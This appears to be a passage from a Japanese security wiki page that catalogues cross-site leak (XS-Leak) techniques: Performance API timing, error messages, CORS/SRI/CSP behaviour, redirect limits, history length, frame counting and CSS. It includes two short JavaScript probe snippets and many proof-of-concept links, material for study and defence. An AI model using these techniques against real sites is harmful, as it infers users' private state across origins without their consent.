ページが**iframeでレンダリング**されることが**許可されていない**場合、**パフォーマンスエントリは作成されません**。その結果、攻撃者はレスポンスヘッダー**`X-Frame-Options`**を検出することができます。\
同様のことが、**embed** **タグを使用**した場合にも起こります。

### ダウンロード検出

* **含有方法**: フレーム
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要**: ダウンロードはパフォーマンスAPIのリソースタイミングエントリを作成しません。
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)

XS-Leakと同様に、ContentDispositionヘッダーによって**ダウンロードされるリソース**も**パフォーマンスエントリを作成しません**。この技術は、主要なブラウザで動作します。

### リダイレクト開始リーク

* **含有方法**: フレーム
* **検出可能な違い**: リダイレクト
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要**: リソースタイミングエントリがリダイレクトの開始時間を漏洩します。
* **コード例**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)

いくつかのブラウザの挙動を悪用するXS-Leakのインスタンスを見つけました。標準では、クロスオリジンリソースの一部の属性はゼロに設定する必要があります。ただし、**SA**では、ターゲットページによってユーザーが**リダイレクト**されたかどうかを検出することができます。これは、**Performance API**をクエリし、**redirectStartタイミングデータ**をチェックすることで行います。

### リダイレクトの期間リーク

* **含有方法**: Fetch API
* **検出可能な違い**: リダイレクト
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要**: リダイレクトが発生すると、タイミングエントリの期間は負になります。
* **コード例**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)

GCでは、**リダイレクト**が発生するリクエストの**期間**は**負**であり、リダイレクトが発生しないリクエストと区別することができます。
### CORPリーク

* **インクルージョンメソッド**: フレーム
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要**: CORPで保護されたリソースは、リソースのタイミングエントリを作成しません。
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)

いくつかのケースでは、**nextHopProtocolエントリ**をリーク手法として使用することができます。GCでは、**CORPヘッダー**が設定されている場合、nextHopProtocolは**空**になります。SAでは、CORPが有効化されたリソースに対してパフォーマンスエントリを作成しません。

### サービスワーカー

* **インクルージョンメソッド**: フレーム
* **検出可能な違い**: APIの使用
* **詳細情報**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **概要**: 特定のオリジンにサービスワーカーが登録されているかを検出します。
* **コード例**:

サービスワーカーは、オリジンで実行されるイベント駆動型のスクリプトコンテキストです。ウェブページのバックグラウンドで実行され、オフラインのウェブアプリケーションを作成するためにリソースをインターセプト、変更、および**キャッシュ**することができます。\
サービスワーカーによって**キャッシュされたリソース**が**iframe**経由でアクセスされると、リソースは**サービスワーカーキャッシュから読み込まれます**。\
リソースが**サービスワーカーキャッシュから読み込まれたかどうか**を検出するには、**Performance API**を使用できます。\
これはタイミング攻撃でも行うことができます（詳細は論文を参照）。

### キャッシュ

* **インクルージョンメソッド**: Fetch API
* **検出可能な違い**: タイミング
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **概要**: リソースがキャッシュに保存されているかどうかを検出します。
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))

[Performance API](xs-search.md#performance-api)を使用すると、リソースがキャッシュされているかどうかを確認できます。\
詳細についてはこちらを参照してください：[https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)

### ネットワークの所要時間

* **インクルージョンメソッド**: Fetch API
* **検出可能な違い**: ページのコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **概要**: `performance` APIからリクエストのネットワーク所要時間を取得することができます。
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)

## エラーメッセージの技術

### メディアエラー

* **インクルージョンメソッド**: HTML要素（ビデオ、オーディオ）
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **概要**: FFでは、クロスオリジンリクエストのステータスコードを正確にリークすることができます。
* **コード例**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
**`MediaError`** インターフェースの **`message`** プロパティには、**正常に読み込まれたリソースに対しては異なる文字列が含まれています**。これにより、クロスオリジンリソースのレスポンスステータスを推測することができます。

### CORSエラー

* **含まれる方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **概要**: SAでは、CORSエラーメッセージがリダイレクトの完全なURLを漏洩します。
* **コード例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

この技術により、クロスオリジンサイトによって開始されるリダイレクトのターゲットを漏洩させることができます。

CORSは、公開されているウェブリソースをどのウェブサイトからでも読み取り、使用することを可能にします。WebKitベースのブラウザでは、CORSリクエストが失敗した場合にCORSエラーメッセージにアクセスすることが可能です。攻撃者は、CORS対応のリクエストをターゲットのウェブサイトに送信し、ユーザーの状態に基づいて**リダイレクト**を行います。ブラウザがリクエストを拒否すると、エラーメッセージには**リダイレクト先の完全なURLが漏洩**します。この攻撃により、リダイレクトの検出、リダイレクト先の漏洩、および機密なクエリパラメータの漏洩が可能です。

### SRIエラー

* **含まれる方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **概要**: SAでは、CORSエラーメッセージがリダイレクトの完全なURLを漏洩します。
* **コード例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

攻撃者は、**詳細なエラーメッセージ**により、クロスオリジンのレスポンスのサイズを漏洩させることができます。

整合性属性は、ブラウザが取得したリソースが改ざんされていないことを検証するための暗号ハッシュを定義します。このセキュリティメカニズムはSubresource Integrity（SRI）と呼ばれます。これは、コンテンツ配信ネットワーク（CDN）から提供されるリソースの整合性検証に使用されます。データの漏洩を防ぐためには、クロスオリジンのリソースは**CORS対応**である必要があります。そうでない場合、レスポンスは整合性検証の対象外となります。CORSエラーXS-Leakと同様に、整合性属性を持つフェッチリクエストが失敗した後の**エラーメッセージをキャッチ**することが可能です。攻撃者は、**不正なハッシュ値**を指定して、任意のリクエストでこのエラーを強制的に**トリガー**することができます。SAでは、このエラーメッセージが要求されたリソースのコンテンツ長を漏洩します。攻撃者は、この漏洩を使用してレスポンスサイズの違いを検出し、強力なXS-Leak攻撃を可能にすることができます。

### CSP違反/検出

* **含まれる方法**: ポップアップ
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **概要**: CSPで被害者のウェブサイトのみを許可し、それにアクセスした場合に異なるドメインにリダイレクトしようとすると、CSPは検出可能なエラーをトリガーします。
* **コード例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

XS-Leakは、CSPを使用して、クロスオリジンサイトが異なるオリジンにリダイレクトされたかどうかを検出することができます。この漏洩により、リダイレクトが検出されるだけでなく、リダイレクト先のドメインも漏洩します。この攻撃の基本的なアイデアは、**攻撃者のサイトでターゲットドメインを許可する**ことです。ターゲットドメインにリクエストが発行されると、それがクロスオリジンドメインに**リダイレクト**します。CSPはそれへのアクセスをブロックし、**漏洩テクニックとして使用される違反レポート**を作成します。ブラウザによっては、**このレポートがリダイレクトのターゲット位置を漏洩**する場合があります。\
モダンなブラウザでは、リダイレクト先のURLは表示されませんが、クロスオリジンのリダイレクトがトリガーされたことは検出できます。

### キャッシュ

* **含まれる方法**: フレーム、ポップアップ
* **検出可能な違い**: ページの内容
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **概要**: キャッシュからファイルをクリアし、ターゲットページを開き、キャッシュにファイルが存在するかをチェックします。
* **コード例:**

ブラウザは、すべてのウェブサイトに対して共有キャッシュを使用する場合があります。その起源に関係なく、ターゲットページが**特定のファイルを要求したかどうか**を推測することができます。

ページがユーザーがログインしている場合にのみ画像を読み込む場合、リソースを**無効化**して（キャッシュされている場合はキャッシュされないようにする）、そのリソースを読み込む可能性のあるリクエストを実行し、リソースを**不正なリクエスト**（たとえば、過長なリファラヘッダーを使用）で読み込もうとします。リソースの読み込みが**エラーをトリガーしなかった**場合、それは**キャッシュされている**ことを意味します。

### CSPディレクティブ

* **含まれる方法**: フレーム
* **検出可能な違い**: ヘッダー
### **CORP**

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: ヘッダー
* **詳細情報**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **概要**: CORPで保護されたリソースは、フェッチ時にエラーが発生します。
* **コード例**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

CORPヘッダーは、与えられたリソースへのノーコースのクロスオリジンリクエストをブロックする比較的新しいWebプラットフォームのセキュリティ機能です。ヘッダーの存在は検出できます。なぜなら、CORPで保護されたリソースはフェッチ時にエラーが発生するからです。

### CORB

* **Inclusion Methods**: HTML要素
* **Detectable Difference**: ヘッダー
* **詳細情報**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **概要**: CORBは、リクエストに`nosniff`ヘッダーが存在するかどうかを攻撃者が検出できる可能性があります。
* **コード例**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

攻撃に関する詳細情報については、リンクを確認してください。

### CORSエラーのオリジンリフレクションの誤構成 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: ヘッダー
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **概要**: オリジンヘッダーが`Access-Control-Allow-Origin`ヘッダーに反映されている場合、リソースが既にキャッシュにあるかどうかを確認できます。
* **コード例**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

オリジンヘッダーが`Access-Control-Allow-Origin`ヘッダーに反映されている場合、攻撃者はこの動作を悪用してCORSモードでリソースをフェッチしようとすることができます。エラーがトリガーされない場合、それはウェブから正しく取得されたことを意味します。エラーがトリガーされる場合、それはキャッシュからアクセスされたことを意味します（エラーが発生するのは、キャッシュが元のドメインを許可するCORSヘッダーを含むレスポンスを保存しているためです）。なお、オリジンが反映されていない場合でもワイルドカードが使用されている場合（`Access-Control-Allow-Origin: *`）、これは機能しません。

## Readable Attributes Technique

### Fetch Redirect

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: ステータスコード
* **詳細情報**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **概要**: リダイレクトが完了した後、GCとSAを使用してレスポンスのタイプ（opaque-redirect）を確認できます。
* **コード例**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Fetch APIを使用して`redirect: "manual"`およびその他のパラメーターを指定してリクエストを送信すると、`response.type`属性を読み取り、それが`opaqueredirect`と等しい場合、レスポンスはリダイレクトであったことがわかります。

### COOP

* **Inclusion Methods**: ポップアップ
* **Detectable Difference**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **概要**: COOPで保護されたページにアクセスできません。
* **コード例**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

クロスオリジンオープナーポリシー（COOP）ヘッダーがクロスオリジンのHTTPレスポンス内に存在するかどうかを攻撃者は漏洩することができます。

Webアプリケーションは、他のウェブサイトがアプリケーションに対して任意のウィンドウ参照を取得することを防ぐためにCOOPレスポンスヘッダーを展開することができます。ただし、このヘッダーは`contentWindow`参照を読み取ろうとすることで簡単に検出できます。サイトが1つの状態でCOOPを展開している場合、このプロパティ（`opener`）は`undefined`です。それ以外の場合は`defined`です。

### URL Max Length - Server Side

* **Inclusion Methods**: Fetch API, HTML要素
* **Detectable Difference**: ステータスコード/コンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **概要**: リダイレクトレスポンスの長さがサーバーの制限を超えるため、レスポンスの違いを検出できます。これにより、エラーが発生し、アラートが生成されます。
* **コード例**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

サーバーサイドのリダイレクトがリダイレクトにユーザー入力と追加データを使用している場合、通常、サーバーにはリクエストの長さの制限があります。ユーザーデータがその長さ-1である場合、リダイレクトはそのデータを使用して何かを追加するため、エラーがトリガーされ、エラーイベントを介して検出できます。

ユーザーに対してクッキーを設定できる場合、[**cookie bomb**](hacking-with-cookies/cookie-bomb.md)を使用してこの攻撃を実行することもできます。したがって、正しいレスポンスのサイズが増加すると、エラーがトリガーされます。この場合、同じサイトからこのリクエストをトリガーすると、`<script>`が自動的にクッキーを送信するため（エラーを確認できる）、注意してください。\
**クッキーボム+XS-Search**の例は、この解決策の意図した解決策で見つけることができます：[https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

このタイプの攻撃には通常、`SameSite=None`または同じコンテキストにある必要があります。
### URLの最大長 - クライアントサイド

* **含まれる方法**: ポップアップ
* **検出可能な違い**: ステータスコード / コンテンツ
* **詳細情報**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **概要**: リダイレクトの応答の違いを検出し、リクエストが大きすぎて違いがわかる可能性がある。
* **コード例**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

[Chromiumのドキュメント](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length)によると、Chromeの最大URL長は2MBです。

> 一般的に、_webプラットフォーム_にはURLの長さの制限はありません（ただし、2^31は一般的な制限です）。_Chrome_は、実用上の理由とプロセス間通信におけるサービス拒否攻撃の問題を回避するために、URLを最大**2MB**に制限しています。

したがって、**リダイレクトURLの応答がいずれかのケースで大きい場合**、**2MBを超えるURL**でリダイレクトを行うことが可能であり、**長さ制限**に達することができます。これが発生すると、Chromeは**`about:blank#blocked`**ページを表示します。

**注目すべき違い**は、**リダイレクト**が**完了した場合**、`window.origin`が**エラー**をスローすることです。なぜなら、クロスオリジンはその情報にアクセスできないからです。しかし、**制限**が\*\*\*\*達成され、読み込まれたページが**`about:blank#blocked`**である場合、ウィンドウの**`origin`**は**親のもの**のままであり、これは**アクセス可能な情報**です。

**2MB**に到達するために必要なすべての追加情報は、初期のURLに**ハッシュ**として追加されるため、リダイレクトで**使用されます**。

{% content-ref url="xs-search/url-max-length-client-side.md" %}
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
{% endcontent-ref %}

### 最大リダイレクト数

* **含まれる方法**: Fetch API、フレーム
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
* **概要**: リダイレクト制限を悪用してリダイレクトを検出する。
* **コード例**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

ブラウザのフォローする**リダイレクトの最大数**が**20**である場合、攻撃者は自分のページを**19回リダイレクト**し、最終的に被害者をテスト対象のページに**送信**することができます。エラーが発生した場合、ページは被害者を**リダイレクトしようとしていた**ことを意味します。

### 履歴の長さ

* **含まれる方法**: フレーム、ポップアップ
* **検出可能な違い**: リダイレクト
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **概要**: JavaScriptコードはブラウザの履歴を操作し、長さプロパティでアクセスできます。
* **コード例**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

**History API**は、JavaScriptコードがブラウザの履歴を操作することを可能にし、ユーザーが訪れたページを保存します。攻撃者は、長さプロパティを含める方法として使用できます: JavaScriptとHTMLのナビゲーションを検出するために。\
**`history.length`をチェック**し、ユーザーを**ページに移動**させ、それを**同一オリジンに変更**し、**`history.length`**の新しい値を**チェック**します。

### 同じURLの履歴の長さ

* **含まれる方法**: フレーム、ポップアップ
* **検出可能な違い**: 推測したURLと同じかどうか
* **概要**: 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測することができます。
* **コード例**: 以下

攻撃者はJavaScriptコードを使用して、フレーム/ポップアップの位置を**推測したURLに操作**し、**すぐに**それを**`about:blank`に変更**することができます。履歴の長さが増加した場合、URLが正しいことを意味し、**同じURLの場合はリロードされないため**、時間があったために増加します。増加しなかった場合、**推測したURLを読み込もうとした**ことを意味し、**すぐに** **`about:blank`**を読み込んだため、推測したURLを読み込む際に**履歴の長さは増加しなかった**ことを意味します。
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### フレームカウント

* **含まれる方法**: フレーム、ポップアップ
* **検出可能な違い**: ページのコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **概要**: フレームの数（window.length）を読み取る。
* **コード例**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

`iframe`または`window.open`を介して開かれたウェブの**フレームの数を数える**ことは、**ユーザーのページ上の状態**を特定するのに役立ちます。\
さらに、ページに常に同じ数のフレームがある場合、フレームの数を**継続的にチェック**することで、情報を漏洩させる可能性のある**パターン**を特定するのに役立ちます。

この技術の例として、Chromeでは、**PDF**は**フレームカウント**を使用して**検出**することができます。なぜなら、内部で`embed`が使用されているからです。この技術が興味深い場合、[`zoom`](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)、[`view`](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)、[`page`](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)、[`toolbar`](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)などの[Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)を使用してコンテンツを制御することができます。

### HTMLElements

* **含まれる方法**: HTML要素
* **検出可能な違い**: ページのコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **概要**: 漏洩した値を読み取り、2つの可能な状態を区別する。
* **コード例**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

一部のウェブページは、ユーザーの情報に応じてメディアファイルを**動的に生成**したり、メディアサイズを変更するウォーターマークを追加したりする場合があります。攻撃者はこれらのHTML要素から漏洩した情報を使用して、可能な状態の間を区別することができます。

いくつかのHTMLElementsは、メディアの種類など、クロスオリジンに情報を漏洩します。

* [HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)はメディアの`duration`と`buffered`の時間を漏洩します。
* [HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)は`videoHeight`と`videoWidth`を漏洩します。一部のブラウザでは`webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount`、`webkitDecodedFrameCount`も持つ場合があります。
* [getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)は`totalVideoFrames`を漏洩します。
* [HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)は`height`と`width`を漏洩しますが、画像が無効な場合は0になり、[`image.decode()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/decode)は拒否されます。

### CSSプロパティ

* **含まれる方法**: HTML要素
* **検出可能な違い**: ページのコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **概要**: ユーザーの状態に応じてウェブサイトのスタイルを検出する。
* **コード例**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

ウェブアプリケーションは、ユーザーの状態に応じてウェブサイトのスタイルを変更する場合があります。クロスオリジンのCSSファイルは、HTMLリンク要素を使用して攻撃者のページに埋め込むことができ、ルールは攻撃者のページに**適用**されます。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの違いを**検出**することができます。\
漏洩技術として、攻撃者は`window.getComputedStyle`メソッドを使用して特定のHTML要素のCSSプロパティを**読み取る**ことができます。結果として、影響を受ける要素とプロパティ名がわかっている場合、攻撃者は任意のCSSプロパティを読み取ることができます。

### CSS履歴

* **含まれる方法**: HTML要素
* **検出可能な違い**: ページのコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **概要**: `:visited`スタイルが適用されているURLを検出し、既に訪れたことを示す。
* **コード例**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

{% hint style="info" %}
[**こちら**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)によると、ヘッドレスChromeでは機能しないようです。
{% endhint %}

CSSの[`:visited`](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)セレクタを使用すると、訪れたURLに異なるスタイルを適用することができます。\
以前は、[`getComputedStyle()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)を使用してこの違いを検出することができましたが、現在のブラウザは常にリンクが訪れたものとして値を返し、セレクタを使用して適用できるスタイルを制限することでこれを防止しています。\
したがって、ユーザーをクリックするように誘導する必要がある場合があります。これは[`mix-blend-mode`](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)を使用して行うことができます。\
リンクを異なる色で描画するには時間がかかるため、レンダリングタイミングを悪用するなど、ユーザーの対話なしに行う方法もあります。\
クロミウムのレポートで提供されたPoCは、複数のリンクを使用して時間差を増やすことで機能します。
### ContentDocument X-Frame Leak

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ヘッダー
* **詳細情報**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **概要**: GCでは、**X-Frame-Optionsにより、クロスオリジンページに埋め込むことが許可されていない場合、エラーページが表示されます**。
* **コード例**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

Chromeでは、クロスオリジンページに埋め込むことが許可されていない場合、**X-FrameOptions（XFO）ヘッダーがdenyまたはsame-originに設定されているため、代わりにエラーページが表示されます**。オブジェクトの場合、このエラーページは`contentDocument`プロパティをチェックすることで**検出できます**。通常、このプロパティはnullを返しますが、クロスオリジンの埋め込みドキュメントへのアクセスは許可されていないため、**空のドキュメントオブジェクトが返されます**。これはiframesや他のブラウザでは機能しません。開発者はすべてのページにX-Frame-Optionsを設定するのを忘れることがあり、特にエラーページではこのヘッダーが欠落していることがよくあります。リーク技術として、攻撃者はこれをチェックすることで異なるユーザーステートを区別することができます。

### ダウンロードの検出

* **Inclusion Methods**: フレーム、ポップアップ
* **Detectable Difference**: ヘッダー
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **概要**: 攻撃者はiframesを使用してダウンロードを検出することができます。もしiframeがまだアクセス可能であれば、ファイルはダウンロードされたことになります。
* **コード例**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

`Content-Disposition`ヘッダー（[`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)）は、ブラウザがコンテンツをダウンロードするかインラインで表示するかを示します。

ログイン済みのユーザーのみがファイルをダウンロードすることができるページにアクセスできる場合、ヘッダーを使用しているため、その動作を検出することが可能です。

#### ダウンロードバー <a href="#download-bar" id="download-bar"></a>

Chromiumベースのブラウザでは、ファイルがダウンロードされると、ダウンロードプロセスのプレビューが**ブラウザウィンドウに統合された下部のバーに表示されます**。攻撃者は**ウィンドウの高さを監視することで**、「ダウンロードバー」が開かれたかどうかを検出することができます。

#### ダウンロードナビゲーション（iframesを使用） <a href="#download-navigation-with-iframes" id="download-navigation-with-iframes"></a>

